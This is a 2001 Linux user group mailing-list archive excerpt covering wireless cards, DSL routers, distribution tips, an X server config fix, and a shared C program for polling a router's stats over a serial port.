-Yaron -- From blutgens at sistina.com Thu Aug 30 15:29:36 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <20010830141544.Y26388@ringworld.org>; from dieman+tclug@ringworld.org on Thu, Aug 30, 2001 at 02:15:44PM -0500 References: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com> <20010830141544.Y26388@ringworld.org> Message-ID: <20010830152936.A5958@minime.sistina.com> On Thu, Aug 30, 2001 at 02:15:44PM -0500, Scott Dier wrote: > >The last presentation I did was created in it, worked great. > last one I made was with mgp :-) -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010830/958d4c90/attachment.pgp From seg at haxxed.com Thu Aug 30 15:41:07 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Wireless networks. References: <20010826221311.E26388@ringworld.org> <20010827024802.G26388@ringworld.org> Message-ID: <3B8EA4E3.7020200@haxxed.com> This was a week or two ago so I dunno if they're still there, but at Micro Center they had a pile of old ISA wireless network cards back on the discount/stuff that got returned table thingy. Was like $80, so they're not that cheap, but if these are the kind you can get serious range with, it'd probably be worth it... They were some brand other, I didn't write down the brand. So I dunno if they're Linux compatable or not. If not then they're kinda worthless to us... Anyway, someone who's interested in such a thing, have at it and report back to us. ;) (Actually, I think I may take another look myself...) From simeonuj at eetc.com Thu Aug 30 15:44:39 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Qwestdex CDROM References: Message-ID: <3B8EA579.D9D1E3AD@eetc.com> > No... this is Qwestdex, as in the yellow and white pages. There was a > bundle of them at the appartment complex mailbox today, so I know Florin > got one (; > > -Yaron Aaaahh. That makes sense now. :) Don't know anything about it. sim From andy at theasis.com Thu Aug 30 15:50:38 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Wireless networks. In-Reply-To: <3B8EA4E3.7020200@haxxed.com> Message-ID: > Micro Center they had a pile of old ISA wireless network cards back on > the discount/stuff that got returned table thingy. Was like $80, so > they're not that cheap, but if these are the kind you can get serious > range with, it'd probably be worth it... > > They were some brand other, I didn't write down the brand. So I dunno if > they're Linux compatable or not. If not then they're kinda worthless to > us... > > Anyway, someone who's interested in such a thing, have at it and report > back to us. ;) (Actually, I think I may take another look myself...) They were zoomair 4000 cards. All were pcmcia cards, but some were also packaged with an ISA - PCMCIA adapter. They are 802.11 cards at 2mbit/sec. I have a bunch of these. They are supported under linux, but not really very well under 2.4 kernel (www.linux-wlan.com). Rather than working on a patch, we decided to experiment with the 802.11b, 11mbit/s cards (WiFi). These are not only much better supported, but also faster and not so expensive -- ~$110. Get one with an antenna plug. However note that the antenna plug is NOT standardized. E.g., look at the lucent orinoco silver cards. Andy Andy From sandeen at sgi.com Thu Aug 30 16:18:50 2001 From: sandeen at sgi.com (Eric Sandeen) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Wireless networks. References: Message-ID: <3B8EADBA.3766AD32@sgi.com> andy@theasis.com wrote: > > > Was like $80, so they're not that cheap, > They are 802.11 cards at 2mbit/sec. > > Get one with an antenna plug. I'd suggest not getting one at all, since you can get 802.11b 11mbit/sec cards for $85 these days after rebate (granted, w/o an antenna plug...) -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. From dieman+tclug at ringworld.org Thu Aug 30 16:29:29 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Wireless networks. In-Reply-To: <3B8EADBA.3766AD32@sgi.com> References: <3B8EADBA.3766AD32@sgi.com> Message-ID: <20010830162929.Z26388@ringworld.org> * Eric Sandeen [010830 16:23]: > I'd suggest not getting one at all, since you can get 802.11b 11mbit/sec > cards for $85 these days after rebate (granted, w/o an antenna plug...) At least buy one thats going to support 802.1x in the future, such as the cisco 340 card. (I picked mine up for $130) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From simeonuj at eetc.com Thu Aug 30 17:01:34 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] console automation ??? Message-ID: <3B8EB776.DF7299D3@eetc.com> I am looking for some sort of package that will allow me to control a device via a com/tty port. Basically - I want to be able to control my Cisco router (or any kind of router/computer via com/tty) without having to actually log into it. Lets say I want to get the current configuration. I use minicom and log in and all that jazz. Then a simple "show whatever" will give it to me. I would like to create some sort of script to do this automatically and have the output be usable by any application. Able to be logged or sent to another application that will do something else etc. I want to be able to monitor the router and be able to respond when something happens. If the router goes down or changes IP's I want to be able to reconnect via VPN or something. Have certain daemons restart etc. Does this make sense? Is it possible (or will I have to actually make this program)? sim From jack at jacku.com Thu Aug 30 17:18:39 2001 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] SuSE for linux newbies In-Reply-To: <20010830.10544900@linwin.mshome.net> References: <20010830.10544900@linwin.mshome.net> Message-ID: <01083017183900.03548@geezer> Let me extend a hearty welcome to another SuSE user. If you like YaST 2 in 7.0 you should check out 7.2/ It is much improved. Almost everything you can do from YaST 1 can now be done in YaST 2. While I agree that the updates on the SuSE website are good I would caution you that if you download the KDE 2.1.X files from SuSE you may not want to use the YaST 2 software module. It insists on reinstalling the older kdelibs package and a qt-extensions package that will toast your KDE sessions. Fortunately you can "re-update" the packages from the new stuff before exiting your KDE session to correct the problem. This is not a problem with 7.2. On Thursday 30 August 2001 05:54, you wrote: > Having tried different versions of Red Hat and SuSE Linux, and certainly > not of expert skills, I'd like to recommend SuSE to others. I've > installed SuSE 6.1, 6.4, and now 7.0 and seen rapid maturation. > > The graphical setup tool, YAST 2, recognized and set up hardware better > than Red Hat 7.1. (eg. Sound card and ethernet card.) > > Particularly helpful is YAST 1, the SuSE linux administration tool. This > tool, alone, makes SuSE easier to use. > > Further, the directory structure is, in my opinion, structured better. > The /opt directory is used for kde, gnome, (star)office52, netscape, > oracle, etc. > > Also, the SuSE web site seems more complete for updates and upgrades. > > Finally, their documentation has been gone over and cleaned up by someone > speaking English as a first language. Even their lizard logo has acquired > a friendly face. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jack Ungerleider jack@jacku.com From nassarmu at mctc.mnscu.edu Thu Aug 30 17:25:05 2001 From: nassarmu at mctc.mnscu.edu (Munir Nassar) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Cisco 678 Router Message-ID: Ok, so i call up Real-Time for a DSL connection, but apparently they dont supply the routers saying that I have to buy them from Qwest. Qwest was more interested in getting me hooked up with Mickysoft@home than talking about anything else, eventually they wanted 300 bucks for the external router. Am I the only one who sees something wrong here? does anyone out there have a DSL router they are willing to part with? Will that router work with a new connection (CAP/DMT) And why doesnt Real-Time have routers? (ok not quite related to the linux, but you guys are the experts on the subject.) -munir From florin at iucha.net Thu Aug 30 17:25:32 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] XF86Config for ATI Xpert2000 (still not working) In-Reply-To: ; from wilson@visi.com on Thu, Aug 30, 2001 at 01:40:48PM -0500 References: Message-ID: <20010830172532.C4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 01:40:48PM -0500, Timothy Wilson wrote: > Hey everyone, > > I'm attaching my XF86Config-4 and a startx log to this email. I still > haven't had any luck with XFree 4.0.3. Unless there's something really new > with this board, it should be supported according to the docs at the > xfree86.org. It uses the Rage 128 chipset. I've set it according to the > docs. > > Any advice would be appreciated. (I'd hate to find that I'd bought a board > that I thought was supported, but isn't. Nothing worse than the sound your > money makes when it's being flushed down the toilet. :-( Add: BusID "PCI:1:0:0" to the Device section. florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From florin at iucha.net Thu Aug 30 17:26:55 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: ; from jethro@freakzilla.com on Thu, Aug 30, 2001 at 03:23:03PM -0500 References: <3B8E9F01.7D7FB391@eetc.com> Message-ID: <20010830172655.D4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 03:23:03PM -0500, Yaron wrote: > Hey, > > On Thu, 30 Aug 2001, Simeon Johnston wrote: > > > The one that comes w/ the router? > > No... this is Qwestdex, as in the yellow and white pages. There was a > bundle of them at the appartment complex mailbox today, so I know Florin > got one (; I haven't. But if you have, can I borrow it? florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From florin at iucha.net Thu Aug 30 17:30:17 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:59 2005 Subject: [TCLUG] console automation ??? In-Reply-To: <3B8EB776.DF7299D3@eetc.com>; from simeonuj@eetc.com on Thu, Aug 30, 2001 at 05:01:34PM -0500 References: <3B8EB776.DF7299D3@eetc.com> Message-ID: <20010830173016.E4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 05:01:34PM -0500, Simeon Johnston wrote: > I am looking for some sort of package that will allow me to control a > device via a com/tty port. > Basically - I want to be able to control my Cisco router (or any kind of > router/computer via com/tty) without having to actually log into it. > Lets say I want to get the current configuration. > I use minicom and log in and all that jazz. Then a simple "show > whatever" will give it to me. > I would like to create some sort of script to do this automatically and > have the output be usable by any application. Able to be logged or sent > to another application that will do something else etc. > > I want to be able to monitor the router and be able to respond when > something happens. If the router goes down or changes IP's I want to be > able to reconnect via VPN or something. Have certain daemons restart etc. > > Does this make sense? Is it possible (or will I have to actually make > this program)? Here is something I knocked over a weekend... florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 -------------- next part -------------- /* router_stats.c - connects via the serial port to a router and gets stats Copyright (C) 2001 Florin Iucha This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /* $Id: router_stats.c,v 1.9 2001/07/16 16:13:56 florin Exp florin $ */ #include #include #include #include #include #include #include #include #include #include /* baudrate settings are defined in , which is included by */ #define BAUDRATE B38400 #define _POSIX_SOURCE 1 /* POSIX compliant source */ volatile int SIGNAL_HAPPENED = 0; void custom_handler(int signal) { SIGNAL_HAPPENED = 1; } void setup_device(int fd, struct termios* oldtio) { struct termios newtio; fcntl(fd, F_SETFL, FNDELAY); tcgetattr(fd, oldtio); /* save current serial port settings */ bzero(&newtio, sizeof(newtio)); /* clear struct for new port settings */ /* BAUDRATE: Set bps rate. You could also use cfsetispeed and cfsetospeed. CRTSCTS : output hardware flow control (only used if the cable has all necessary lines. See sect. 7 of Serial-HOWTO) CS8 : 8n1 (8bit,no parity,1 stopbit) CLOCAL : local connection, no modem contol CREAD : enable receiving characters */ newtio.c_cflag = BAUDRATE | CS8 | CLOCAL | CREAD; /* IGNPAR : ignore bytes with parity errors ICRNL : map CR to NL (otherwise a CR input on the other computer will not terminate input) otherwise make device raw (no other input processing) */ newtio.c_iflag = IGNPAR | ICRNL; /* Raw output. */ newtio.c_oflag = 0; /* ICANON : enable canonical input disable all echo functionality, and don't send signals to calling program */ newtio.c_lflag = ICANON; /* initialize all control characters default values can be found in /usr/include/termios.h, and are given in the comments, but we don't need them here */ newtio.c_cc[VINTR] = 0; /* Ctrl-c */ newtio.c_cc[VQUIT] = 0; /* Ctrl-\ */ newtio.c_cc[VERASE] = 0; /* del */ newtio.c_cc[VKILL] = 0; /* @ */ newtio.c_cc[VEOF] = 4; /* Ctrl-d */ newtio.c_cc[VTIME] = 0; /* inter-character timer unused */ newtio.c_cc[VMIN] = 0; /* blocking read until 1 character arrives */ newtio.c_cc[VSWTC] = 0; /* '\0' */ newtio.c_cc[VSTART] = 0; /* Ctrl-q */ newtio.c_cc[VSTOP] = 0; /* Ctrl-s */ newtio.c_cc[VSUSP] = 0; /* Ctrl-z */ newtio.c_cc[VEOL] = 0; /* '\0' */ newtio.c_cc[VREPRINT] = 0; /* Ctrl-r */ newtio.c_cc[VDISCARD] = 0; /* Ctrl-u */ newtio.c_cc[VWERASE] = 0; /* Ctrl-w */ newtio.c_cc[VLNEXT] = 0; /* Ctrl-v */ newtio.c_cc[VEOL2] = 0; /* '\0' */ /* now clean the modem line and activate the settings for the port */ tcflush(fd, TCIFLUSH); tcsetattr(fd, TCSANOW, &newtio); } void reset_device(int fd, struct termios* oldtio) { /* restore the old port settings */ tcsetattr(fd, TCSANOW, oldtio); } #define BUFSIZE 1024 #define MAX_COMMANDS 16 struct commands { char* device; char* setup_commands[MAX_COMMANDS]; int setup_count; char* data_commands[MAX_COMMANDS]; int data_count; char* reset_commands[MAX_COMMANDS]; int reset_count; char* words[MAX_COMMANDS]; int words_count; char* buff; int toSleep; }; int read_commands(int argc, char* argv[], struct commands* comm) { int fd; int res; if (argc < 4) { printf("Not enough args: use '%s '\n", argv[0]); return 1; } comm->device = strdup(argv[1]); if (comm->device == 0) { puts("Cannot alloc memory."); return 1; } comm->buff = malloc(BUFSIZE); if (comm->buff == 0) { puts("Cannot alloc memory."); return 1; } comm->toSleep = atoi(argv[3]); /* now read the commands */ fd = open(argv[2], O_RDONLY); if (fd == -1) { perror(argv[2]); return 1; } res = read(fd, comm->buff, BUFSIZE); if (res == -1) { perror(argv[2]); return 1; } /* increade BUFSIZE */ if (res == BUFSIZE) { puts("BUFFER FULL"); return 1; } /* so the parsing ends... */ comm->buff[res] = 0; comm->setup_count = 0; comm->data_count = 0; comm->reset_count = 0; comm->words_count = 0; /* parse the thingie */ { int i; char* line = strtok(comm->buff, "\n"); while (line) { switch (line[0]) { case 'S': if (comm->setup_count < MAX_COMMANDS) comm->setup_commands[comm->setup_count ++] = strdup(line + 2); break; case 'D': if (comm->data_count < MAX_COMMANDS) comm->data_commands[comm->data_count ++] = strdup(line + 2); break; case 'R': if (comm->reset_count < MAX_COMMANDS) comm->reset_commands[comm->reset_count ++] = strdup(line + 2); break; case 'G': if (comm->words_count < MAX_COMMANDS) comm->words[comm->words_count ++] = strdup(line + 2); break; case '#': /* comment */ break; default: printf("Line '%s' not understood.\n", line); } line = strtok(0, "\n"); } } close (fd); return 0; } void cleanup_commands(struct commands* comm) { int i; if (comm->buff) free(comm->buff); for (i = 0; i < comm->setup_count; i ++) free(comm->setup_commands[i]); for (i = 0; i < comm->data_count; i ++) free(comm->data_commands[i]); for (i = 0; i < comm->reset_count; i ++) free(comm->reset_commands[i]); for (i = 0; i < comm->words_count; i ++) free(comm->words[i]); } void setup_channel(int fd, struct commands* comm) { int res; int i; for (i = 0; i < comm->setup_count; i ++) { int len = strlen(comm->setup_commands[i]); res = write(fd, comm->setup_commands[i], len); if (res == -1) { perror(comm->device); exit(-1); } if (res != len) { printf("Hmmm: tried %d, wrote %d\n", len, res); } write(fd, "\r", 1); sleep(1); res = 1; while (res) { res = read(fd, comm->buff, BUFSIZE); if (res == -1) { if (errno != EAGAIN) { perror(comm->device); exit(-1); } break; } } } } void reset_channel(int fd, struct commands* comm) { int res; int i; for (i = 0; i < comm->reset_count; i ++) { int len = strlen(comm->reset_commands[i]); res = write(fd, comm->reset_commands[i], len); if (res == -1) { perror(comm->device); exit(-1); } if (res != len) { printf("Hmmm: tried %d, wrote %d\n", len, res); } write(fd, "\r", 1); sleep(1); res = 1; while (res) { res = read(fd, comm->buff, BUFSIZE); if (res == -1) { if (errno != EAGAIN) { perror(comm->device); exit(-1); } break; } } } } void execute_commands(int fd, struct commands* comm) { int res; int last_pos = 0; int i; /* printf("The time is now %d\n", time(0)); */ for (i = 0; i < comm->data_count; i ++) { int len = strlen(comm->data_commands[i]); res = write(fd, comm->data_commands[i], len); if (res == -1) { perror(comm->device); exit(-1); } if (res != len) { printf("Hmmm: tried %d, wrote %d\n", len, res); } write(fd, "\r", 1); sleep(1); res = 1; while (res) { res = read(fd, comm->buff + last_pos, BUFSIZE - last_pos); if (res == -1) { if (errno != EAGAIN) { perror(comm->device); exit(-1); } break; } last_pos += res; } if (last_pos) { char* line = strtok(comm->buff, "\n"); while (line) { int i; for (i = 0; i < comm->words_count; i ++) { if (strstr(line, comm->words[i])) { write(1, line, strlen(line)); write(1, "\n", 1); break; } } line = strtok(0, "\n"); } fsync(1); } } } int main(int argc, char* argv[]) { int fd, res; struct termios oldtio; int i; struct commands comms; if (read_commands(argc, argv, &comms)) { return -1; } /* Open modem device for reading and writing and not as controlling tty because we don't want to get killed if linenoise sends CTRL-C. */ fd = open(comms.device, O_RDWR | O_NOCTTY ); if (fd < 0) { perror(comms.device); exit(-1); } setup_device(fd, &oldtio); setup_channel(fd, &comms); signal(SIGTERM, custom_handler); signal(SIGINT, custom_handler); execute_commands(fd, &comms); while (SIGNAL_HAPPENED == 0 && comms.toSleep) { sleep(comms.toSleep); execute_commands(fd, &comms); } reset_channel(fd, &comms); reset_device(fd, &oldtio); close(fd); return 0; } -------------- next part -------------- S: S: D:show uptime D:show int eth0 D:show int wan0 D:show int wan0-0 D:stats eth0 D:stats wan0 D:stats wan0-0 R:exit From dieman+tclug at ringworld.org Thu Aug 30 17:33:44 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Cisco 678 Router In-Reply-To: References: Message-ID: <20010830173343.B26388@ringworld.org> * Munir Nassar [010830 17:28]: > Am I the only one who sees something wrong here? does anyone out there have a DSL router they are willing to part with? Will that router work with a new connection (CAP/DMT) And why doesnt Real-Time have routers? RT doesn't supply your physical connection, they just supply service on the other end of a PVC. Youll need a 678, and yes, they cost money. Another reason I use cable right now. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From jack at jacku.com Thu Aug 30 17:34:07 2001 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Wireless networks. In-Reply-To: <3B8EA4E3.7020200@haxxed.com> References: <20010826221311.E26388@ringworld.org> <20010827024802.G26388@ringworld.org> <3B8EA4E3.7020200@haxxed.com> Message-ID: <01083017340701.03548@geezer> FWIW Best Buy was clearing out the SOHOware Net Blaster II stuff. I picked up a PCI card (has antenna) and an access point for $70 and $120 respectively. The PCI card is in my wife's Windows machine so I can't validate the card working under Linux. Jack On Thursday 30 August 2001 15:41, you wrote: > This was a week or two ago so I dunno if they're still there, but at > Micro Center they had a pile of old ISA wireless network cards back on > the discount/stuff that got returned table thingy. Was like $80, so > they're not that cheap, but if these are the kind you can get serious > range with, it'd probably be worth it... > > They were some brand other, I didn't write down the brand. So I dunno if > they're Linux compatable or not. If not then they're kinda worthless to > us... > > Anyway, someone who's interested in such a thing, have at it and report > back to us. ;) (Actually, I think I may take another look myself...) > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jack Ungerleider jack@jacku.com From florin at iucha.net Thu Aug 30 17:40:51 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Cisco 678 Router In-Reply-To: ; from nassarmu@mctc.mnscu.edu on Thu, Aug 30, 2001 at 05:25:05PM -0500 References: Message-ID: <20010830174051.F4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 05:25:05PM -0500, Munir Nassar wrote: > Ok, so i call up Real-Time for a DSL connection, but apparently they dont supply the routers saying that I have to buy them from Qwest. Qwest was more interested in getting me hooked up with Mickysoft@home than talking about anything else, eventually they wanted 300 bucks for the external router. > > Am I the only one who sees something wrong here? does anyone out there have a DSL router they are willing to part with? Will that router work with a new connection (CAP/DMT) And why doesnt Real-Time have routers? Because they provide the "logical" layer - Internet access. The "physical" layer (DSL) is provided by Qwest. florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From blayer at qwest.net Thu Aug 30 18:11:49 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: References: <3B8E9F01.7D7FB391@eetc.com> Message-ID: <20010830181149.68bdf077.blayer@qwest.net> On or about Thu, 30 Aug 2001 15:23:03 -0500 (CDT) Yaron reportedly said... > No... this is Qwestdex, as in the yellow and white pages. There was a > bundle of them at the appartment complex mailbox today, so I know Florin > got one (; Heh, hopefully the CD isn't broken like that PATHETIC search engine that runs the qwestdex.com site. That thing is downright comical... have you ever tried it? I swear it is a bad attempt at a joke. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From barnabas at knicknack.net Thu Aug 30 18:19:09 2001 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] console automation ??? In-Reply-To: <3B8EB776.DF7299D3@eetc.com>; from simeonuj@eetc.com on Thu, Aug 30, 2001 at 05:01:34PM -0500 References: <3B8EB776.DF7299D3@eetc.com> Message-ID: <20010830181909.A8560@knicknack.net> Sounds to me like you want Expect. Expect is a scripting language which allows you to control a device that is normally controlled by human interaction. Basically you have expect statements which tell the script what to look for and send statements to send responses to what you receive. I wouldn't say Expect is the easiest thing to learn, at least if you want to use it's full capabilities, but it is easier than assembler. :-) I can recommend the O'Reilly book on it. Eric On Thu, Aug 30, 2001 at 05:01:34PM -0500, Simeon Johnston wrote: > I am looking for some sort of package that will allow me to control a > device via a com/tty port. > Basically - I want to be able to control my Cisco router (or any kind of > router/computer via com/tty) without having to actually log into it. > Lets say I want to get the current configuration. > I use minicom and log in and all that jazz. Then a simple "show > whatever" will give it to me. > I would like to create some sort of script to do this automatically and > have the output be usable by any application. Able to be logged or sent > to another application that will do something else etc. > > I want to be able to monitor the router and be able to respond when > something happens. If the router goes down or changes IP's I want to be > able to reconnect via VPN or something. Have certain daemons restart etc. > > Does this make sense? Is it possible (or will I have to actually make > this program)? > > sim > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jethro at freakzilla.com Thu Aug 30 18:29:52 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: <20010830172655.D4906@beaver.iucha.org> Message-ID: Hi, On Thu, 30 Aug 2001, Florin Iucha wrote: > > No... this is Qwestdex, as in the yellow and white pages. There was a > > bundle of them at the appartment complex mailbox today, so I know Florin > > got one (; > I haven't. But if you have, can I borrow it? ??? There was like one-per-apartment by the mailboxes. They weren't in the actual mailbox nor did they have peoples' names on them... I can run you off a copy if someone stole yours. -Yaron -- From jethro at freakzilla.com Thu Aug 30 18:31:10 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: <20010830181149.68bdf077.blayer@qwest.net> Message-ID: Hey, On Thu, 30 Aug 2001, Bill Layer wrote: > Heh, hopefully the CD isn't broken like that PATHETIC search engine that > runs the qwestdex.com site. That thing is downright comical... have you > ever tried it? I swear it is a bad attempt at a joke. It's not that bad, once you get used to it... well, ok, maybe it is bad. Another reason to figure out the database format on the CDROM, and do our own search things. -Yaron -- From blayer at qwest.net Thu Aug 30 18:33:08 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: References: <20010830181149.68bdf077.blayer@qwest.net> Message-ID: <20010830183308.6fd02221.blayer@qwest.net> On or about Thu, 30 Aug 2001 18:31:10 -0500 (CDT) Yaron reportedly said... > It's not that bad, once you get used to it... well, ok, maybe it is bad. Search for "Steel" in Minneapolis.. you will get a business with "Steele" in some suburb, but not Garelick Steel in downtown Minneapolis proper. I don't think I can get used to that ;) -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From florin at iucha.net Thu Aug 30 18:37:35 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: ; from jethro@freakzilla.com on Thu, Aug 30, 2001 at 06:29:52PM -0500 References: <20010830172655.D4906@beaver.iucha.org> Message-ID: <20010830183735.G4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 06:29:52PM -0500, Yaron wrote: > Hi, > > On Thu, 30 Aug 2001, Florin Iucha wrote: > > > > No... this is Qwestdex, as in the yellow and white pages. There was a > > > bundle of them at the appartment complex mailbox today, so I know Florin > > > got one (; > > I haven't. But if you have, can I borrow it? > > ??? There was like one-per-apartment by the mailboxes. They weren't in the > actual mailbox nor did they have peoples' names on them... I can run you > off a copy if someone stole yours. Got mine, thanks. (I have asked my wife to check it out since I haven't got home yet.) florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From florin at iucha.net Thu Aug 30 19:28:20 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: ; from jethro@freakzilla.com on Thu, Aug 30, 2001 at 06:31:10PM -0500 References: <20010830181149.68bdf077.blayer@qwest.net> Message-ID: <20010830192820.H4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 06:31:10PM -0500, Yaron wrote: > Hey, > > On Thu, 30 Aug 2001, Bill Layer wrote: > > > Heh, hopefully the CD isn't broken like that PATHETIC search engine that > > runs the qwestdex.com site. That thing is downright comical... have you > > ever tried it? I swear it is a bad attempt at a joke. > > It's not that bad, once you get used to it... well, ok, maybe it is bad. > Another reason to figure out the database format on the CDROM, and do our > own search things. I wonder how legal it is to reverse engineer the disk format. OTOH the only "legal" notice in the package is: "Use of the disk constitutes acceptance of all terms and conditions." I wasn't able to find "any" terms or conditions. Does that mean that I have no legal constraint and can I do whatever I want with the CD? florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From jethro at freakzilla.com Thu Aug 30 19:32:50 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: <20010830192820.H4906@beaver.iucha.org> Message-ID: Hi, On Thu, 30 Aug 2001, Florin Iucha wrote: > I wonder how legal it is to reverse engineer the disk format. It's illegal to mount the thing and go 'ls /cdrom/'? It's just got some database files on it, and some applications. I don't want to reverse engineer anything - I just want to use alternate programs to access the db. I remember in Israel the telco released these CDs with the DB in Clipper format... so everyone could do reverse-number lookups (which is illegal information in Israel). -Yaron -- From wilson at visi.com Thu Aug 30 20:50:27 2001 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <20010830152936.A5958@minime.sistina.com> Message-ID: On Thu, 30 Aug 2001, Ben Lutgens wrote: > On Thu, Aug 30, 2001 at 02:15:44PM -0500, Scott Dier wrote: > > > >The last presentation I did was created in it, worked great. > > > last one I made was with mgp :-) Real geeks use LaTeX for presentations. :-) -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From markbrowne at mn.mediaone.net Thu Aug 30 20:50:54 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Another office suite for Linux References: Message-ID: <000601c131bf$621a7460$1e02a8c0@zippy> Wrong! Real geeks don't mess with LaTex, GUIs, Command lines, compilers and other such crutches, They program from the front panel with switches and blinky lights. ;-) Mark Browne ----- Original Message ----- From: "Timothy Wilson" To: Sent: Thursday, August 30, 2001 8:50 PM Subject: Re: [TCLUG] Another office suite for Linux > On Thu, 30 Aug 2001, Ben Lutgens wrote: > > > On Thu, Aug 30, 2001 at 02:15:44PM -0500, Scott Dier wrote: > > > > > >The last presentation I did was created in it, worked great. > > > > > last one I made was with mgp :-) > > Real geeks use LaTeX for presentations. :-) > > -Tim > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.org | http://www.zope.com > W. St. Paul, MN | | http://slashdot.org > wilson@visi.com | | http://linux.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From veldy at veldy.net Thu Aug 30 22:00:36 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:27:00 2005 Subject: [TCLUG] Cisco 678 Router References: <20010830173343.B26388@ringworld.org> Message-ID: <009a01c131c9$1b987b90$0101a8c0@cascade> They are supposed to be $99 through the end of October! Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Scott Dier" To: Sent: Thursday, August 30, 2001 5:33 PM Subject: Re: [TCLUG] Cisco 678 Router > * Munir Nassar [010830 17:28]: > > Am I the only one who sees something wrong here? does anyone out 